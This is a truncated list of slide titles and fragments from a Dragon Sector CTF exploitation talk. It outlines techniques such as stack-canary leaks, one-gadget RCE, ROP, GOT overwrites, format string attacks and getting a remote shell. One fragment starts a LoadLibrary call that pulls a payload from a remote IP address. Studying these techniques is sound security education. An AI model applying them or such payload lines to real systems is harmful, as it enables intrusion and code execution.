dragons_ctf

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Patching vs instrumentation ● ● ● Suppose you want to modify the behavior of an executable. Binary patching is a powerful tool, however… ● what if the number and/or quality of integrity checks performed by the program outweights the benefits the patching? Sometimes it would be nice to just “be the CPU” and change the semantics of a chosen instruction. ● or just monitor execution in a 100% non-invasive way.
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Pwning (sometimes) with style Drago
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Dragon Sector? Insomni'hack 2014 Ge
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Agenda
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The SSP leak • Stack Smashing Pro
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SSP basics - canary verification
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__stack_chk_fail *** stack smashing
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__stack_chk_fail void __attribute__
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The argv array is at the top of the
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We can overwrite it, too! $ ./test_
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Very powerful memory disclosure •
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References 1. Dan Rosenberg, Fun wi
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Remote KG Task: Given a PCAP file,
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Remote KG So… what is this protoc
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Remote KG Next steps: ● write a p
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JS Puzzle Event: Organizers: SECCON
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One-gadget RCE on Linux • Assumin
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One-gadget RCE on Linux • An exec
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One-gadget RCE on Linux If std{out,
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I/O redirection /bin/sh &N • By d
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One-gadget RCE on Windows • In GN
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One-gadget RCE on Windows • There
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LoadLibrary(“\\11.22.33.44\payloa
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zfs Problem 1: Nothing wants to mou
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zfs ● xor_key ● key.xor_encrypt
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zfs ● Gynvael’s way: Brute forc
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zfs Minimizing input - assume that
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zfs
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zfs
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And about system()… • How do we
Page 66 and 67: Getting remote shell • Otherwise,
Page 68 and 69: With this, we can… • Leak the a
Page 70 and 71: libcdb.com
Page 72 and 73: There’s another way, too • If w
Page 74: Other teams do it, as well Quote fr
Page 77 and 78: World Wide Something ^_- TL;DR: .pc
Page 79 and 80: World Wide Something ^_- Let's recr
Page 82 and 83: ROP gadgets near libc imports • E
Page 84 and 85: ROP gadgets near libc imports • 1
Page 86 and 87: ROP gadgets near libc imports • S
Page 88 and 89: Partial .got.plt overwrites • If
Page 90: Brute-forcing ASLR • ASLR on popu
Page 94 and 95: Format String Fun Typical exploitat
Page 96 and 97: Even More Format String Fun! Assume
Page 98 and 99: Even More Format String Fun! printf
Page 101 and 102: Getting read / recv to fail Imagine
Page 103 and 104: One-sided connection termination
Page 105: One-sided connection termination By
Page 108 and 109: Mumble Mumble high entropy
Page 110 and 111: Mumble Mumble Approach change: 1. A
Page 112 and 113: Mumble Mumble
Page 114 and 115: Mumble Mumble ...- -... .-. -- -.--
Page 118 and 119: Instrumentation can help us • Typ
Page 120 and 121: 0x90 • The task was a 64-bit ELF
Page 122 and 123: 0x90 if (RAX == 10000000000000LL) {
Page 124 and 125: It worked!
Page 126: Questions? @j00ru http://j00ru.vexi
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